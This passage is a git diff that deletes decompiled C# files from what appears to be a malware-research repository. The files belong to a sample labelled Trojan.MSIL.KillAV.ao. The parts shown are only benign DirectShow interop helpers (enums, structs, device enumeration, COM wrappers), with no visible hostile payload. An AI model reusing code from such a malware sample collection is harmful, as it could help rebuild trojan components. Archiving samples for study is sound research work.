0xFFFFFFFF - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AnalogVideoStandard.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AnalogVideoStandard.cs deleted file mode 100644 index b9943a58..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AnalogVideoStandard.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AnalogVideoStandard -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum AnalogVideoStandard - { - None = 0, - NTSC_M = 1, - NTSC_M_J = 2, - NTSC_433 = 4, - PAL_B = 16, // 0x00000010 - PAL_D = 32, // 0x00000020 - PAL_G = 64, // 0x00000040 - PAL_H = 128, // 0x00000080 - PAL_I = 256, // 0x00000100 - PAL_M = 512, // 0x00000200 - PAL_N = 1024, // 0x00000400 - PAL_60 = 2048, // 0x00000800 - SECAM_B = 4096, // 0x00001000 - SECAM_D = 8192, // 0x00002000 - SECAM_G = 16384, // 0x00004000 - SECAM_H = 32768, // 0x00008000 - SECAM_K = 65536, // 0x00010000 - SECAM_K1 = 131072, // 0x00020000 - SECAM_L = 262144, // 0x00040000 - SECAM_L1 = 524288, // 0x00080000 - PAL_N_COMBO = 1048576, // 0x00100000 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AudioStreamConfigCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AudioStreamConfigCaps.cs deleted file mode 100644 index cea8980b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AudioStreamConfigCaps.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AudioStreamConfigCaps -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class AudioStreamConfigCaps - { - public Guid Guid; - public int MinimumChannels; - public int MaximumChannels; - public int ChannelsGranularity; - public int MinimumBitsPerSample; - public int MaximumBitsPerSample; - public int BitsPerSampleGranularity; - public int MinimumSampleFrequency; - public int MaximumSampleFrequency; - public int SampleFrequencyGranularity; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/BitmapInfoHeader.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/BitmapInfoHeader.cs deleted file mode 100644 index 541123fa..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/BitmapInfoHeader.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.BitmapInfoHeader -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 2)] - public struct BitmapInfoHeader - { - public int Size; - public int Width; - public int Height; - public short Planes; - public short BitCount; - public int Compression; - public int ImageSize; - public int XPelsPerMeter; - public int YPelsPerMeter; - public int ClrUsed; - public int ClrImportant; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/CLSCTX.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/CLSCTX.cs deleted file mode 100644 index c51b2a52..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/CLSCTX.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.CLSCTX -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DShowNET -{ - [Flags] - internal enum CLSCTX - { - Inproc = 3, - Server = 21, // 0x00000015 - All = 23, // 0x00000017 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Clsid.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Clsid.cs deleted file mode 100644 index 4e759abe..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Clsid.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Clsid -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class Clsid - { - public static readonly Guid SystemDeviceEnum = new Guid(1656642832, (short) 24811, (short) 4560, (byte) 189, (byte) 59, (byte) 0, (byte) 160, (byte) 201, (byte) 17, (byte) 206, (byte) 134); - public static readonly Guid FilterGraph = new Guid(3828804531U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid CaptureGraphBuilder2 = new Guid(3213342433U, (ushort) 35879, (ushort) 4560, (byte) 179, (byte) 240, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - public static readonly Guid SampleGrabber = new Guid(3253993632U, (ushort) 16136, (ushort) 4563, (byte) 159, (byte) 11, (byte) 0, (byte) 96, (byte) 8, (byte) 3, (byte) 158, (byte) 55); - public static readonly Guid InfTee = new Guid(4164454976U, (ushort) 54715, (ushort) 4560, (byte) 190, (byte) 90, (byte) 0, (byte) 128, (byte) 199, (byte) 6, (byte) 86, (byte) 142); - public static readonly Guid DvdGraphBuilder = new Guid(4240528055U, (ushort) 62322, (ushort) 4560, (byte) 142, (byte) 0, (byte) 0, (byte) 192, (byte) 79, (byte) 215, (byte) 192, (byte) 139); - public static readonly Guid StreamBufferSink = new Guid("2db47ae5-cf39-43c2-b4d6-0cd8d90946f4"); - public static readonly Guid StreamBufferSource = new Guid("c9f5fe02-f851-4eb5-99ee-ad602af1e619"); - public static readonly Guid VideoMixingRenderer = new Guid(3095128955U, (ushort) 36137, (ushort) 16959, (byte) 174, (byte) 77, (byte) 101, (byte) 130, (byte) 193, (byte) 1, (byte) 117, (byte) 172); - public static readonly Guid VideoMixingRenderer9 = new Guid(1370794995, (short) 29839, (short) 20027, (byte) 162, (byte) 118, (byte) 200, (byte) 40, (byte) 51, (byte) 14, (byte) 146, (byte) 106); - public static readonly Guid VideoRendererDefault = new Guid(1807863802U, (ushort) 36801, (ushort) 16993, (byte) 172, (byte) 34, (byte) 207, (byte) 180, (byte) 204, (byte) 56, (byte) 219, (byte) 80); - public static readonly Guid AviSplitter = new Guid(458509344U, (ushort) 64779, (ushort) 4558, (byte) 140, (byte) 99, (byte) 0, (byte) 170, (byte) 0, (byte) 68, (byte) 181, (byte) 30); - public static readonly Guid SmartTee = new Guid(3428377216U, (ushort) 35489, (ushort) 4561, (byte) 179, (byte) 241, (byte) 0, (byte) 170, (byte) 0, (byte) 55, (byte) 97, (byte) 197); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDev.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDev.cs deleted file mode 100644 index 55f82168..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDev.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.DsDev -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [ComVisible(false)] - public class DsDev - { - public static bool GetDevicesOfCat(Guid cat, out ArrayList devs) - { - devs = (ArrayList) null; - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref cat, out ppEnumMoniker, 0); - int num = 0; - while (ppEnumMoniker.Next(1, rgelt, out int _) == 0 && rgelt[0] != null) - { - DsDevice dsDevice = new DsDevice(); - dsDevice.Name = DsDev.GetFriendlyName(rgelt[0]); - if (devs == null) - devs = new ArrayList(); - dsDevice.Mon = rgelt[0]; - rgelt[0] = (UCOMIMoniker) null; - devs.Add((object) dsDevice); - ++num; - } - return num > 0; - } - catch (Exception ex) - { - if (devs != null) - { - foreach (DsDevice dsDevice in devs) - dsDevice.Dispose(); - devs = (ArrayList) null; - } - return false; - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (rgelt[0] != null) - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - private static string GetFriendlyName(UCOMIMoniker mon) - { - object ppvObj = (object) null; - IPropertyBag propertyBag1 = (IPropertyBag) null; - try - { - Guid guid = typeof (IPropertyBag).GUID; - mon.BindToStorage((UCOMIBindCtx) null, (UCOMIMoniker) null, ref guid, out ppvObj); - IPropertyBag propertyBag2 = (IPropertyBag) ppvObj; - object pVar = (object) ""; - int errorCode = propertyBag2.Read("FriendlyName", ref pVar, IntPtr.Zero); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return pVar as string; - } - catch (Exception ex) - { - return (string) null; - } - finally - { - propertyBag1 = (IPropertyBag) null; - if (ppvObj != null) - Marshal.ReleaseComObject(ppvObj); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDevice.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDevice.cs deleted file mode 100644 index 94645fb5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/DsDevice.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.DsDevice -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [ComVisible(false)] - public class DsDevice : IDisposable - { - public string Name; - public UCOMIMoniker Mon; - - public void Dispose() - { - if (this.Mon != null) - Marshal.ReleaseComObject((object) this.Mon); - this.Mon = (UCOMIMoniker) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/ICreateDevEnum.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/ICreateDevEnum.cs deleted file mode 100644 index 4e9afa14..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/ICreateDevEnum.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.ICreateDevEnum -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("29840822-5B84-11D0-BD3B-00A0C911CE86")] - [ComVisible(true)] - [ComImport] - public interface ICreateDevEnum - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int CreateClassEnumerator([In] ref Guid pType, out UCOMIEnumMoniker ppEnumMoniker, [In] int dwFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/IPropertyBag.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/IPropertyBag.cs deleted file mode 100644 index b11b360a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Device/IPropertyBag.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Device.IPropertyBag -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Device -{ - [Guid("55272A00-42CB-11CE-8135-00AA004BB851")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [ComImport] - public interface IPropertyBag - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Read([MarshalAs(UnmanagedType.LPWStr), In] string pszPropName, [MarshalAs(UnmanagedType.Struct), In, Out] ref object pVar, IntPtr pErrorLog); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Write([MarshalAs(UnmanagedType.LPWStr), In] string pszPropName, [MarshalAs(UnmanagedType.Struct), In] ref object pVar); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsBugWO.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsBugWO.cs deleted file mode 100644 index 78258ba7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsBugWO.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsBugWO -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; -using System.Runtime.Remoting.Services; - -namespace DShowNET -{ - public class DsBugWO - { - public static object CreateDsInstance(ref Guid clsid, ref Guid riid) - { - IntPtr ptrIf; - int instance = DsBugWO.CoCreateInstance(ref clsid, IntPtr.Zero, CLSCTX.Inproc, ref riid, out ptrIf); - if (instance != 0 || ptrIf == IntPtr.Zero) - Marshal.ThrowExceptionForHR(instance); - Guid iid = new Guid("00000000-0000-0000-C000-000000000046"); - Marshal.QueryInterface(ptrIf, ref iid, out IntPtr _); - object dsInstance = EnterpriseServicesHelper.WrapIUnknownWithComObject(ptrIf); - Marshal.Release(ptrIf); - return dsInstance; - } - - [DllImport("ole32.dll")] - private static extern int CoCreateInstance( - ref Guid clsid, - IntPtr pUnkOuter, - CLSCTX dwClsContext, - ref Guid iid, - out IntPtr ptrIf); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsCAUUID.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsCAUUID.cs deleted file mode 100644 index 070d60ec..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsCAUUID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsCAUUID -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsCAUUID - { - public int cElems; - public IntPtr pElems; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsEvCode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsEvCode.cs deleted file mode 100644 index bfff9008..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsEvCode.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsEvCode -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -namespace DShowNET -{ - public enum DsEvCode - { - None = 0, - Complete = 1, - UserAbort = 2, - ErrorAbort = 3, - Time = 4, - Repaint = 5, - StErrStopped = 6, - StErrStPlaying = 7, - ErrorStPlaying = 8, - PaletteChanged = 9, - VideoSizeChanged = 10, // 0x0000000A - QualityChange = 11, // 0x0000000B - ShuttingDown = 12, // 0x0000000C - ClockChanged = 13, // 0x0000000D - Paused = 14, // 0x0000000E - OpeningFile = 16, // 0x00000010 - BufferingData = 17, // 0x00000011 - FullScreenLost = 18, // 0x00000012 - Activate = 19, // 0x00000013 - NeedRestart = 20, // 0x00000014 - WindowDestroyed = 21, // 0x00000015 - DisplayChanged = 22, // 0x00000016 - Starvation = 23, // 0x00000017 - OleEvent = 24, // 0x00000018 - NotifyWindow = 25, // 0x00000019 - DvdDomChange = 257, // 0x00000101 - DvdTitleChange = 258, // 0x00000102 - DvdChaptStart = 259, // 0x00000103 - DvdAudioStChange = 260, // 0x00000104 - DvdSubPicStChange = 261, // 0x00000105 - DvdAngleChange = 262, // 0x00000106 - DvdButtonChange = 263, // 0x00000107 - DvdValidUopsChange = 264, // 0x00000108 - DvdStillOn = 265, // 0x00000109 - DvdStillOff = 266, // 0x0000010A - DvdCurrentTime = 267, // 0x0000010B - DvdError = 268, // 0x0000010C - DvdWarning = 269, // 0x0000010D - DvdChaptAutoStop = 270, // 0x0000010E - DvdNoFpPgc = 271, // 0x0000010F - DvdPlaybRateChange = 272, // 0x00000110 - DvdParentalLChange = 273, // 0x00000111 - DvdPlaybStopped = 274, // 0x00000112 - DvdAnglesAvail = 275, // 0x00000113 - DvdPeriodAStop = 276, // 0x00000114 - DvdButtonAActivated = 277, // 0x00000115 - DvdCmdStart = 278, // 0x00000116 - DvdCmdEnd = 279, // 0x00000117 - DvdDiscEjected = 280, // 0x00000118 - DvdDiscInserted = 281, // 0x00000119 - DvdCurrentHmsfTime = 282, // 0x0000011A - DvdKaraokeMode = 283, // 0x0000011B - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsHlp.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsHlp.cs deleted file mode 100644 index 89ad6794..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsHlp.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsHlp -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; -using System.Text; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsHlp - { - public const int OATRUE = -1; - public const int OAFALSE = 0; - - [DllImport("quartz.dll", CharSet = CharSet.Auto)] - public static extern int AMGetErrorText(int hr, StringBuilder buf, int max); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptInt64.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptInt64.cs deleted file mode 100644 index 59f5d380..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptInt64.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsOptInt64 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class DsOptInt64 - { - public long Value; - - public DsOptInt64(long Value) => this.Value = Value; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptIntPtr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptIntPtr.cs deleted file mode 100644 index ec6b7a82..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsOptIntPtr.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsOptIntPtr -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class DsOptIntPtr - { - public IntPtr Pointer; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsPOINT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsPOINT.cs deleted file mode 100644 index 432cfe80..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsPOINT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsPOINT -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct DsPOINT - { - public int X; - public int Y; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsRECT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/DsRECT.cs deleted file mode 100644 index 